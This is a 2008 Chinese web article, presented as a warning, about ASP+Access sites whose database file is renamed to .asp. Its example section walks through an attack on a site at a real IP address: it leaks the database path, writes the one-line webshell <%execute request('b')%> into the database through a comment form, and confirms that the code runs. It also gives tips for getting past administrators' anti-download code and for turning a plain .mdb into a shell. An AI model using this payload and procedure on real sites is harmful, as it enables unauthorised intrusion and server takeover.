特别提示:改MDB为ASP所带来的灾难

王朝asp·作者佚名  2008-05-31
窄屏简体版  字體: |||超大  

可能是随着网络安全技术的发展吧,治理员的素质都在提高,在使用Access+ASP系统时,为不数据库被人下载,到把mdb改为asp或asa。先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。

一.思路

大家都知道<%%为asp文件的标志符,也就是说一个asp文件只会去执行<% %之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于治理者把mdb文件改为了asp文件,假如我们提交的数据里包含有<%%,那当我们访问这个asp数据库的时候就会去执行<%%之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。

二.示例

随便找个目标,首先我们暴库,看是不是asp后缀的数据库:

http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

返回:

程序代码:

Microsoft VBScript 编译器错误 错误 '800a03f6'

缺少 'End'

/iisHelp/common/500-100.asp,行242

Microsoft JET Database Engine 错误 '80004005'

'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/test/conn.asp,行18

我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:

程序代码:

< %execute request("b")%

这样我们就把asp代码:<%execute request("b")%写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到:

/iisHelp/common/500-100.asp,行242

Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'execute'

/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266

哈哈,我们的插入的代码运行了。如下图:

注重:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用

程序代码:

<%execute request("b")%

三.其他一些问题和思路

1.对于改了后缀为asp,还对数据库里加入了<%=’a’-1%等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。

2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航